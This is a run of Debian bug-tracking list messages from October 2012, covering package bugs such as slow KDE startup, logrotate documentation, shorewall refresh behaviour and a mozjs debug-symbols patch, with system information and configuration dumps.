Bug#691405: Update usbredir to 0.5.2 for test on qemu 1.3
Package: usbredir Severity: wishlist I have tested xen 4.3 unstable with qemu 1.3 unstable, I have also did test package of Spice 0.12 succesfully and also tried usbredir 0.5.2 but without success. Can you update this package on unstable or experimental for trying it please? -- System Information: Debian Release: wheezy/sid APT prefers testing APT policy: (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-3-amd64 (SMP w/8 CPU cores) Locale: LANG=it_IT.UTF-8, LC_CTYPE=it_IT.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691406: some KDE programs take very long to start
Package: kde-standard Version: 5:77 Severity: important Hi, I have installed yesterday's Debian testing nightly build ISO for amd64. KDE works but takes very long to start up. Other KDE programs have the same problem whereas e.g. firefox or icedove work just well. I have also described the problem in bug #691366 [1] against the pseudo-package installation-report. 1. http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=691366 In the meantime I upgraded some packages to unstable. KDE tools that come up immediately are: - kdm - konsole (with two identical D-Bus warning messages: QDBusConnection: session D-Bus connection created before QCoreApplication. Application may misbehave.) - kdialog - konqueror (now, after upgrading to unstable ... somehow this does not make sense, perhaps it is caused by some cached library or something...) - kaddressbook (with the two D-Bus warning messages) - kcalc - kfind - kfontview (with 2 D-Bus warning messages) - kinfocenter - kmail (with 2 D-Bus warning messages) - knotes (with 2 D-Bus warning messages) - krunner (with 2 D-Bus warning messages, but the first run in one KDE session takes some seconds, too) KDE tools that take minutes to start: - KDE startup itself (4 minutes!) - k3b (the splash screen comes after the mentioned D-Bus warning messages, but it gets stuck at Creating GUI...) - konqueror (yesterday, a fresh testing installation) - dolphin - kate (with D-Bus warning message but only one) - kopete (with 2 D-Bus warning messages, an empty window comes up immediately but then it gets stuck) - korganizer - kwrite - the logout dialog of KDE I have compared the dependencies of those packages. When I exclude konqueror and kmail, possible candidates for causing the startup delay turn out to be: - libkde3support4 - libqt4-qt3support - libphonon4 or phonon Since phonon is used for mixing audio, I have to mention that the standard Debian installation runs PulseAudio. However, stopping the PulseAudio service did not help. Hence I suspect the other two libraries being the bad guys (I may be totally wrong though). Best Stephan -- System Information: Debian Release: wheezy/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-3-amd64 (SMP w/8 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages kde-standard depends on: ii akregator 4:4.4.11.1+l10n-3+b1 ii ark 4:4.8.4-2 ii dragonplayer 4:4.8.4-2 ii gwenview 4:4.8.4-2 ii juk 4:4.8.4-2 ii kaddressbook 4:4.4.11.1+l10n-3+b1 ii kate 4:4.8.4-1 ii kcalc 4:4.8.4-2 ii kde-plasma-desktop5:77 ii kdeplasma-addons 4:4.8.4-1 ii khelpcenter4 4:4.8.4-1 ii kmail 4:4.4.11.1+l10n-3+b1 ii kmix 4:4.8.4-2 ii knotes4:4.4.11.1+l10n-3+b1 ii kopete4:4.8.4-1+b1 ii korganizer4:4.4.11.1+l10n-3+b1 ii kscreensaver 4:4.8.4-2 ii ksnapshot 4:4.8.4-1 ii kwalletmanager4:4.8.4-2 ii okular4:4.8.4-2 ii plasma-desktopthemes-artwork 4:4.8.4-2 ii polkit-kde-1 0.99.0-3 ii sweeper 4:4.8.4-1 Versions of packages kde-standard recommends: ii freespacenotifier4:4.8.4-4 ii konq-plugins 4:4.8.4-2 ii plasma-widget-networkmanagement 0.9.0.3-1 ii update-notifier-kde 1.2.4 Versions of packages kde-standard suggests: pn kde-l10nnone ii kde-plasma-desktop 5:77 pn kde-plasma-netbooknone pn skanlitenone -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691407: logrotate(8) does not mention all reasons for ignoring included files
Package: logrotate
Version: 3.8.1-4
Severity: normal
Under the include directive, logrotate(8) says:
The only files which are ignored are files which are not regular files
(such as directories and named pipes) and files whose names end with one
of the taboo extensions, as specified by the tabooext directive.
This is not true. It would appear that files are also ignored because of
some unspecified bad file modes, which include being group writeable.
Unfortunately logrotate does not mention that it is ignoring these files
unless it is especially run in verbose mode, which makes tracking down
this problem more difficult. Other configuration errors usually generate
notification emails.
Thanks,
Roger
-- Package-specific info:
Contents of /etc/logrotate.d
total 96
-rw-r--r-- 1 root root 173 Jun 29 13:31 apt
-rw-r--r-- 1 root root 79 Jun 9 11:14 aptitude
-rw-r--r-- 1 root root 215 Oct 27 2010 checksecurity
-rw-r--r-- 1 root root 209 Oct 11 20:20 clamav-daemon
-rw-r--r-- 1 root root 230 Oct 11 20:20 clamav-freshclam
-rw-r--r-- 1 root root 232 Jun 17 10:05 dpkg
-rw-r--r-- 1 root root 147 Aug 26 01:21 exim4-base
-rw-r--r-- 1 root root 146 Jun 23 18:16 exim4-base.dist
-rw-r--r-- 1 root root 146 Jun 23 18:16 exim4-base~
-rw-r--r-- 1 root root 126 Jun 23 18:16 exim4-paniclog
-rw-r--r-- 1 root root 150 Oct 16 17:04 local
-rw-rw-r-- 1 root root 142 Oct 16 17:00 local~
-rw-r--r-- 1 root root 356 Aug 4 17:17 nginx
-rw-r--r-- 1 root root 94 Jun 22 22:44 ppp
-rw-r--r-- 1 root root 88 Nov 15 2011 razor
-rw-r--r-- 1 root root 536 Oct 16 17:02 rsyslog
-rw-r--r-- 1 root root 515 Jun 9 20:54 rsyslog.dist
-rw-r--r-- 1 root root 517 Aug 26 01:20 rsyslog~
-rw-r--r-- 1 root root 322 Aug 5 18:07 samba
-rw-r--r-- 1 root root 108 Jul 3 00:31 shorewall
-rw-r--r-- 1 root root 85 Jul 3 00:29 shorewall-init
-rw-r--r-- 1 root root 109 Jul 3 00:32 shorewall6
-rw-r--r-- 1 root root 298 Jun 3 19:38 stunnel4
-rw-r--r-- 1 root root 148 Jun 9 21:45 ulogd
-- System Information:
Debian Release: wheezy/sid
APT prefers testing-updates
APT policy: (500, 'testing-updates'), (500, 'testing-proposed-updates'),
(500, 'testing')
Architecture: amd64 (x86_64)
Kernel: Linux 3.2.0-3-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages logrotate depends on:
ii base-passwd 3.5.26
ii cron [cron-daemon] 3.0pl1-124
ii libc6 2.13-35
ii libpopt01.16-7
ii libselinux1 2.1.9-5
Versions of packages logrotate recommends:
ii bsd-mailx [mailx] 8.1.2-0.2006cvs-1
logrotate suggests no packages.
-- Configuration Files:
/etc/logrotate.conf changed:
weekly
rotate 4
create
tabooext + .dist
include /etc/logrotate.d
/var/log/wtmp {
missingok
monthly
create 0664 root utmp
rotate 1
}
/var/log/btmp {
missingok
monthly
create 0660 root utmp
rotate 1
}
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691391: libcurl3-gnutls: git push on libcurl3-gnutls_7.28-2 fails when changes pushed
On 10/25, Matthew Grant wrote:
Package: libcurl3-gnutls
Version: 7.28.0-2
Severity: important
See my shell log below
Still have a problem.
Cheers,
Matthew Grant
-
shalom-ext: -grantma- [~/dms]
$ git push
Counting objects: 19, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (10/10), done.
Writing objects: 100% (10/10), 1.11 KiB, done.
Total 10 (delta 9), reused 0 (delta 0)
error: RPC failed; result=22, HTTP code = 401
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly
Everything up-to-date
shalom-ext: -grantma- [~/dms]
$ git pull
Already up-to-date.
I can't reproduce this. Does git-clone fail too? Could you please post the
output of the git commands after setting GIT_CURL_VERBOSE=1?
This may be related to #690764.
Thanks
--
perl -E '$_=q;$/= @{[@_]};and s;\S+;inidehG ordnasselA;eg;say~~reverse'
signature.asc
Description: Digital signature
Bug#689013: k3b: unable to rip DVD: Execution of transcode failed
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Wondering if I the only person on the planet trying to rip DVDs with k3b on Debian, or if I'm doing something very wrong? Cheers, Marcus -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.12 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAlCJEjQACgkQXjXn6TzcAQkA0wCgvWw84dkZZ5tQACIQ9Mo+NCfi aeMAoIBlXqu+CEYTdwCku+g4hUXKZF/d =QJxI -END PGP SIGNATURE- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691406: some KDE programs take very long to start
Hi, Alle giovedì 25 ottobre 2012, Stephan Beyer ha scritto: I have installed yesterday's Debian testing nightly build ISO for amd64. KDE works but takes very long to start up. Do you have gamin installed? If so, try to either uninstall it altogether, or replace it with fam (installing it will replace gamin), and see whether things change. -- Pino Toscano signature.asc Description: This is a digitally signed message part.
Bug#633505: manpages-dev: fts(3) has inaccurate description of physical vs. logical
On Thu, Aug 23, 2012 at 10:28 PM, Simon Paillard spaill...@debian.org wrote: forwarded 633505 linux-...@vger.kernel.org thanks Hi, On Sun, Jul 10, 2011 at 10:30:43PM +0100, James Youngman wrote: Package: manpages-dev Version: 3.27-1 Severity: minor The descriptions of the effects of FTS_LOGICAL and FTS_PHISICAL in the subsection entitled fts_open() are correct. But the DESCRIPTION section is incorrect. It says: It is possible to walk the hierarchy logically (ignoring symbolic links) or physically (visiting symbolic links), order the walk of the hierarchy or prune and/or revisit portions of the hierarchy. This is not accurate. Symbolic links are never ignored. Here is a clearer description: It is possible to walk the hierarchy logically (visiting the files that symbolic links point to, like find -L) or physically (visiting the symbolic links themselves instead, like find -P) , order the walk of the hierarchy or prune and/or revisit portions of the hierarchy. Thanks for the report James, confirmed by test, patch a bit modified and forwarded upstream. Thanks Simon. Applied for 3.44. -- Michael Kerrisk Linux man-pages maintainer; http://www.kernel.org/doc/man-pages/ Author of The Linux Programming Interface; http://man7.org/tlpi/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691366: wheezy 2012-10-24 daily built netinst
Version: 2.48 Hi, I am now at the machine where I installed the system and I can provide further information. 4. Booting the newly installed system Something at the installation f**ked up the /etc/network/interfaces file. However, the failed was because of a funny last line in that file but it nevertheless got the network up and running... To be more concrete, the /etc/network/interfaces file looks like this: -- snip -- # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface allow-hotplug eth0 #NetworkManager#iface eth0 inet dhcp # This is an autoconfigured IPv6 interface #NetworkManager#iface eth0 inet6 auto # Activate RFC 4941 privacy extensions for outgoing connections. The # machine will still be reachable via its EUI-64 interface identifier. privext 2 -- snap -- And the error message is: /etc/network/interfaces:15: misplaced option ifup: couldn't read interfaces file /etc/network/interfaces Looks pretty dangerous. However, as mentioned, everything worked though. (In the meantime I commented out the privext 2 line and the error message vanished.) 5. Starting the desktop environment The described GNOME bug is already stated in #690017 [1] and it is connected to the oddity of the preselected Print Server in the tasksel menu in debian-installer. 1.http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=690017 Should some GNOME Debian maintainers be Cc'ed? The problem could either be solved by adding cups dependencies into the gnome package ...or by fixing gnome. ;) 6. KDE programs work but only after some minutes I tested several programs and wrote bug report #691406 [2] against kde-standard containing further information. I hope that helps. 2.http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=691406 Best Stephan PS: I add the info reportbug installation-report provides although I think these are all mere software bugs. Boot method: CD Image version:http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/amd64/iso-cd/debian-testing-amd64-netinst.iso from Oct 24 == Installer lsb-release: == DISTRIB_ID=Debian DISTRIB_DESCRIPTION=Debian GNU/Linux installer DISTRIB_RELEASE=7.0 (wheezy) - installer build 20120930+b1 X_INSTALLATION_MEDIUM=cdrom == Installer hardware-summary: == uname -a: Linux ipc700 3.2.0-3-amd64 #1 SMP Mon Jul 23 02:45:17 UTC 2012 x86_64 GNU/Linux lspci -knn: 00:00.0 Host bridge [0600]: Intel Corporation Core Processor DMI [8086:d131] (rev 11) lspci -knn: Subsystem: Intel Corporation Device [8086:] lspci -knn: 00:03.0 PCI bridge [0604]: Intel Corporation Core Processor PCI Express Root Port 1 [8086:d138] (rev 11) lspci -knn: Kernel driver in use: pcieport lspci -knn: 00:08.0 System peripheral [0880]: Intel Corporation Core Processor System Management Registers [8086:d155] (rev 11) lspci -knn: 00:08.1 System peripheral [0880]: Intel Corporation Core Processor Semaphore and Scratchpad Registers [8086:d156] (rev 11) lspci -knn: 00:08.2 System peripheral [0880]: Intel Corporation Core Processor System Control and Status Registers [8086:d157] (rev 11) lspci -knn: 00:08.3 System peripheral [0880]: Intel Corporation Core Processor Miscellaneous Registers [8086:d158] (rev 11) lspci -knn: 00:10.0 System peripheral [0880]: Intel Corporation Core Processor QPI Link [8086:d150] (rev 11) lspci -knn: 00:10.1 System peripheral [0880]: Intel Corporation Core Processor QPI Routing and Protocol Registers [8086:d151] (rev 11) lspci -knn: 00:19.0 Ethernet controller [0200]: Intel Corporation 82578DC Gigabit Network Connection [8086:10f0] (rev 05) lspci -knn: Subsystem: Intel Corporation Device [8086:] lspci -knn: Kernel driver in use: e1000e lspci -knn: 00:1a.0 USB controller [0c03]: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller [8086:3b3c] (rev 05) lspci -knn: Subsystem: Intel Corporation Device [8086:4257] lspci -knn: Kernel driver in use: ehci_hcd lspci -knn: 00:1b.0 Audio device [0403]: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio [8086:3b56] (rev 05) lspci -knn: Subsystem: Intel Corporation Device [8086:0034] lspci -knn: Kernel driver in use: snd_hda_intel lspci -knn: 00:1c.0 PCI bridge [0604]: Intel Corporation 5 Series/3400 Series Chipset PCI Express Root Port 1 [8086:3b42] (rev 05) lspci -knn: Kernel driver in use: pcieport lspci -knn: 00:1d.0 USB controller [0c03]: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller [8086:3b34] (rev 05) lspci -knn: Subsystem: Intel Corporation Device [8086:4257] lspci -knn: Kernel driver in use: ehci_hcd lspci
Bug#659186: Debian bug 659186, new patch, ia64 libmozjs185
Nice :-) Will this be forwarded upstream too? I think that generic (i.e. not Debian-packaged) mozjs185 is affected. This is at least also the case with Gentoo ia64. Best regards, Emeric 2012/10/25 Michael Biebl bi...@debian.org: Thanks a lot Stefan for the patches and thanks Emeric for testing. I'll see to it that we can get those patches into the Debian archive and into wheezy. Cheers, Michael -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#689268: Intel HD 4000 (Ivy Bridge) graphics freeze
Am 24.10.2012 02:39, schrieb Jonathan Nieder: Hi Per, Per Foreby wrote: Just to clear some confusion: In a previous comment you suggested trying 3.2.30-1 first (which seems to have been replaced by 3.2.32-1 a few days ago). So what should I try, and in what order? I have downloaded the following packages: What I just found in the german Debian Forum https://debianforum.de/forum/viewtopic.php?f=26t=137332 is the same observed on a ThinkPad T430 with a i5-3320M 2.60 GHz, HD4000 graphics and Wheezy (reported 2012-07-26) - translated into English: ... to avoid *priodic freezes* I updated the kernel to 3.4.4-1 from experimental ... Meanwhile the author has updated to kernel 3.5.5-1-amd64 and all appears still fine. Just my 2 cents, Ingo -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#672987: transcode: tcdemux stops on zero-filled blocks
When tcdemux encounters a zero-filled block (eg. because dvdbackup couldn't read a sector) it spits out a warning and stops, cutting any transformation: Could you repeat this once again with a higher verbosity level or make a file available to reproduce this? I tried to. vobcopy said that were a 19 problems when reading data, so I guess there should be a few holes in the files; but with transcode 4:1.1.7-0.4 I got no warnings or error, the tracks were processed just fine. If I see the problem again I'll reopen this ticket. Thank you very much! Regards, Phil -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#601196: amarok: Amarok uses the audio output exclusively
En cette agréable journée du jeudi 18 octobre 2012, Denis a écrit : Hi. I think the problem is not only of Amarok but of the all sound system. Hi, Since 2010, KDE improved a lot. I suspect that the bug has been corrected, as I cannot reproduce it on several computer, all on Debian testing. I am able to listen to youtube and amarok at the same time without any problem. If you still experiment the problem, please let me know, I will try to investigate more on phonon. Otherwise, I will considered the bug as solved. Regards, Adrien -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691408: mozjs: please add separate debug symbols
Package: libmozjs185-1.0
Version: 1.8.5-1.0.0+dfsg-3.1
Severity: wishlist
File: mozjs
Tags: patch
Hi,
I'm trying to debug/profile gnome-shell and I noticed that libmozjs185
(or possibly just the JavaScript code it runs) shows up in profiles, but is
missing debug symbols. Please consider adding a -dbg package, with a
patch similar to this one.
Unfortunately, this adds a binary package, so will have to take a detour
through NEW. Uploading to experimental first, then unstable later
(preferably after the freeze ends), is usually a good plan.
Thanks,
S
-- System Information:
Debian Release: wheezy/sid
APT prefers testing-proposed-updates
APT policy: (500, 'testing-proposed-updates'), (500, 'unstable'), (500,
'testing'), (500, 'stable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386
Kernel: Linux 3.2.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages libmozjs185-1.0 depends on:
ii libc62.13-35
ii libffi5 3.0.10-3
ii libgcc1 1:4.7.2-4
ii libnspr4 2:4.9.2-1
ii libnspr4-0d 2:4.9.2-1
ii libstdc++6 4.7.2-4
libmozjs185-1.0 recommends no packages.
libmozjs185-1.0 suggests no packages.
-- no debconf information
diffstat for mozjs-1.8.5-1.0.0+dfsg mozjs-1.8.5-1.0.0+dfsg
changelog |9 +
control | 14 +-
2 files changed, 22 insertions(+), 1 deletion(-)
diff -Nru mozjs-1.8.5-1.0.0+dfsg/debian/changelog mozjs-1.8.5-1.0.0+dfsg/debian/changelog
--- mozjs-1.8.5-1.0.0+dfsg/debian/changelog 2012-07-25 14:50:09.0 +0100
+++ mozjs-1.8.5-1.0.0+dfsg/debian/changelog 2012-10-16 16:00:41.0 +0100
@@ -1,3 +1,12 @@
+mozjs (1.8.5-1.0.0+dfsg-3.1+smcv1) UNRELEASED; urgency=low
+
+ * Set Priority for library and binary packages to optional, matching the
+archive overrides (it needs to be at least as high-priority as
+gnome-shell)
+ * Add libmozjs185-1.0-dbg
+
+ -- Simon McVittie s...@debian.org Tue, 16 Oct 2012 15:56:31 +0100
+
mozjs (1.8.5-1.0.0+dfsg-3.1) unstable; urgency=low
* Non-maintainer upload.
diff -Nru mozjs-1.8.5-1.0.0+dfsg/debian/control mozjs-1.8.5-1.0.0+dfsg/debian/control
--- mozjs-1.8.5-1.0.0+dfsg/debian/control 2012-07-25 14:48:46.0 +0100
+++ mozjs-1.8.5-1.0.0+dfsg/debian/control 2012-10-16 15:59:03.0 +0100
@@ -1,6 +1,6 @@
Source: mozjs
Section: libs
-Priority: extra
+Priority: optional
Maintainer: Chris Coulson chrisccoul...@ubuntu.com
Build-Depends: debhelper (= 7.0.50~), libffi-dev, libnspr4-dev (= 4.7.0), zip, pkg-kde-tools, python, pkg-config
Standards-Version: 3.9.2
@@ -15,6 +15,18 @@
JavaScript. It is intended to be embedded in other applications
that provide host environments for JavaScript.
+Package: libmozjs185-1.0-dbg
+Architecture: any
+Section: debug
+Priority: extra
+Depends: libmozjs185-1.0 (= ${binary:Version}), ${shlibs:Depends}, ${misc:Depends}
+Description: Spidermonkey javascript engine - debugging symbols
+ SpiderMonkey is the code-name for the Mozilla's C implementation of
+ JavaScript. It is intended to be embedded in other applications
+ that provide host environments for JavaScript.
+ .
+ This package contains debugging symbols.
+
Package: libmozjs185-dev
Architecture: any
Section: libdevel
Bug#586397: okular: Ocular fails to print to selected printer
tag 586397 moreinfo thanks Hi, The bug is quite old now. Could you please confirm the bug is still impacting you with newer version of KDE (4.8.4 in testing/sid) ? Otherwise, I will close it. Regards, Adrien -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#632511: all pages of a PS document are displayed blank
tag 632511 moreinfo thanks Hi, Can you confirm that the bug is still impacting you, on newer version of KDE (4.8.4 in testing/sid) ? Otherwise I will close it. Regards, Adrien -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#686572: Bug #686572: ibus source tar sha1sum mis-match with upstream
Hi, On Wed, Oct 24, 2012 at 10:54:10PM +0800, Aron Xu wrote: This can be resolved if we start to use pristine-tar in ibus's git repository. Currently git-buildpackage will rebuild the source package whenever a source tarball is needed. Let's do it for next release. (I do elsewhere and I lile pristine-tar.~ Osamu -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#690814: [squeeze-wheezy regression] disk activity provokes lockups on VIA EPIA CL-6000
--- On Wed, 10/17/12, Jonathan Nieder jrnie...@gmail.com wrote: From: Jonathan Nieder jrnie...@gmail.com Subject: Re: [squeeze-wheezy regression] disk activity provokes lockups on VIA EPIA CL-6000 To: Frank Lenaerts frank.lenae...@yahoo.com Cc: 690...@bugs.debian.org Date: Wednesday, October 17, 2012, 11:19 PM # regression severity 690814 important quit Hi Frank, Frank Lenaerts wrote: I had to use the power button to restart the machine. The first time I rebooted, the system got stuck when trying to mount one of the filesystems. Rebooted again and got the login prompt. Did some more reboots and found out that the system hangs during more or less 50% of the reboots. Since the disk activity LED was always on, I tried to provoke some disk activity e.g. by installing some packages. This effectively locked up the system. I only once got the system in a locked up state without having the disk activity LED turned on. [...] Since this machine had been running Lenny just fine, and Squeeze also worked fine, I decided to install a 2.6 kernel. [...] Note that it took several reboots to get the deb file on the system and to install it. With this kernel, the box runs just fine. Thanks for reporting it. A few suggestions for moving forward: [...snipped...] * if you have time to run a bisection search through the pre-compiled kernels at http://snapshot.debian.org/package/linux-2.6/ to find the first broken one, that could help narrow down things quite a bit. Tested some of the linux images: - 2.6.39 seems ok - 3.0.0-1 seems ok - 3.1.0-1 seems ok - 3.2.0-1 does not seem to be ok: - first boot: system hung at Loading, please wait...; note that the LED indicating disk activity was not burning - second boot: ok - third boot: ok Had it running and used it for a few days. Then decided to give 3.2.0-3 a try again. - 3.2.0-3 is not ok: - first boot: crash during the boot process i.e. detected the external USB disk (which I had connected again while working with 3.2.0-1), makefile style concurrent boot, hotplug, udev... stacktrace (not sure if it was after or before the hotplug stuff; unfortunately didn't have logging turned on and keyboard was stuck)... boot process continued a bit and then hung; note that the LED was not on; since I've now seen quite some lockups without this LED being on, I think it does not necessarily have anything to do with disk activity - seond boot: stuck in Configuring network interfaces; note that I've seen this more than once already So, it looks like we'll have to investigate the differences between -1 and -3. Question: 3.2.0-3 was the one installed during the installation. 3.2.0-1 was installed by me for testing purposes and came from 3.2.1-1. I see that the snapshot directory contains other 3.2.0-1 e.g. under 3.2.2-1. Why is it like that? I see that the 3.2.19-1 directory contains 3.2.0-2 for instance and it seems that 3.2.0-3 is not in the snapshot directory...Hope that helps, and sorry I have no better ideas, Jonathan [1] http://www.kernel.org/doc/Documentation/networking/netconsole.txt
Bug#682099: xserver-xorg-video-ati: EXAPixmaps=On screen tearing at high resolution under certain configurations
On 24 Oct 2012, Benjamyn Ward verbalised: There's an ext4 bug floating around. Just watch which kernel you install if you're using the ext4 file system. https://lkml.org/lkml/2012/10/23/779 This is less problematic than we thought at first. It appears to cause fs damage only if you reboot *while unmounting* a dirty fs. Simple reboots of dirty fses do not cause corruption. (Also, this happens with 3.6.1 as well, though it is harder to trigger. It may happen with much older kernels. I still have to test that, and since this is not my day job...) -- NULL (void) -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#690142: Non english ordering of bind9_9.8.1.dfsg.P1-4.2.diff.gz ?
Hello Nico I'm trying to apply a patch to bind9 (see bug #690142). But the diff.gz file I get is very different from previous version, because files are not treated in the same order: $ zgrep ^--- bind9_9.8.1.dfsg.P1-4.2.diff | head -3 --- bind9-9.8.1.dfsg.P1.orig/config.sub --- bind9-9.8.1.dfsg.P1.orig/config.h.in --- bind9-9.8.1.dfsg.P1.orig/configure $ zgrep ^--- bind9_9.8.1.dfsg.P1-4.3.diff | head -3 --- bind9-9.8.1.dfsg.P1.orig/config.h.in --- bind9-9.8.1.dfsg.P1.orig/configure --- bind9-9.8.1.dfsg.P1.orig/configure.in Do you have an idea why your diff file hasn't files ordered like mine? Did you use a strange locale? Which one? signature.asc Description: This is a digitally signed message part.
Bug#690142: Non english ordering of bind9_9.8.1.dfsg.P1-4.2.diff.gz ?
Ops, sorry. Forget it. Neither version is ordered. -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#672030: Fwd: Re: Cannot build beast with gcc 4.7
On 25.10.2012 08:43, Reinhard Tartler wrote: On Thu, Oct 25, 2012 at 4:15 AM, Tim Janik tim.ja...@googlemail.com wrote: On 20.10.2012 12:42, Reinhard Tartler wrote: Hi Tim, I wonder if there is any news on this bug on your side? Beast 0.7.6 with full support for g++-4.7 has been released now, see our website: http://beast.testbit.eu/ The full announcement is here: https://mail.gnome.org/archives/beast/2012-October/msg0.html Let me know if you have any further problems and thanks for your efforts. Thanks for the new upstream release. Unfortunately, I notice that the new release introduces quite a number of changes. Since the release team insists on hand reviewing each line manually, they are likely to reject a package that introduces a new release. Any chance to isolate the g++-4.7 fixes? Is there a public gitweb available somewhere so that we can apply them as patches to the old version? There has been a lot of C-C++ porting going on since the last release, so hand reviewing would be quite hard. Some fixes only went into the code base *after* the porting (such as the davorgan.cc frequency fixes). The code is of course public: http://beast.testbit.eu/Beast_Download git://git.gnome.org/beast http://git.gnome.org/browse/beast Here're commit IDs for the usual +#include unistd.h fixes you need for gcc-4.7: c17259d4b29dbc47a9657f172322d4d908fcd4cf 71ac19f78569f287f7e6db0147b6627a4d4acb0d You'll also need the stack and member resolution fixes for gcc-4.7: 0bc5582c9d6ddeb23d236b2f55b59bf9b414a66a 7b63939eb6e22f3bf2a99719d8b8443236f4476c fd03d7275711266e1350f7fb85c23b0996060fcd However the latest release also includes important fixes for crashers and GLib regressions, at least: 57b0bcbd03d2c7dac78f743fcafe1843cf07d87e 8ccc503bc6ee7a487c3d8834cf4ed028c537af52 545b1cd2ffb9d253aa81bff754b5b622a39fcfbb 2063dcbdc2238dccf877faed8371df9f682a536e bfcdf52900b4fbd60139682dc62cedd8af210851 b62343a1d755a74bbb23c26ab1b90af44be92fa7 I have no idea how many conflicts you'll run into when backporting these onto 0.7.4, because of the C-C++ porting we have done. Best of luck. Thanks, Reinhard -- Yours sincerely, Tim Janik --- http://timj.testbit.eu/ - Free software Author -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#613134: Menu seperators are sometimes missing in java swing programs using gtk look and feel.
Should I be seeing this patch in recent versions of Debian? This bug drives me nuts, so I'm happy to see that someone besides me is thinking about it. Is there a way I can tell what version I have installed in my Java? Jeremy Faden -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#691409: shorewall refresh ignores AUTOMAKE option
Package: shorewall
Version: 4.5.5.3-2
Severity: normal
Hi,
From the documentation, shorewall refresh appears to be intended to be a
lighter version of restart, however unlike restart it always performs
the compilation step, ignoring the AUTOMAKE option. In addition refresh
has no -f option which suppresses compilation during a restart.
Thanks,
Roger
-- System Information:
Debian Release: wheezy/sid
APT prefers testing-updates
APT policy: (500, 'testing-updates'), (500, 'testing-proposed-updates'),
(500, 'testing')
Architecture: amd64 (x86_64)
Kernel: Linux 3.2.0-3-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Versions of packages shorewall depends on:
ii bc 1.06.95-2+b1
ii debconf [debconf-2.0] 1.5.46
ii iproute20120521-3
ii iptables 1.4.14-3
ii perl-modules 5.14.2-14
ii shorewall-core 4.5.5.3-2
shorewall recommends no packages.
Versions of packages shorewall suggests:
ii linux-image-3.2.0-3-amd64 [linux-image] 3.2.23-1
ii make 3.81-8.2
ii shorewall-doc4.5.5-1
-- Configuration Files:
/etc/default/shorewall changed:
startup=0
OPTIONS=
STARTOPTIONS=
RESTARTOPTIONS=
INITLOG=/dev/null
SAFESTOP=1
/etc/shorewall/params [Errno 13] Permission denied: u'/etc/shorewall/params'
/etc/shorewall/shorewall.conf changed:
STARTUP_ENABLED=Yes
VERBOSITY=1
BLACKLIST_LOGLEVEL=debug
LOG_MARTIANS=No
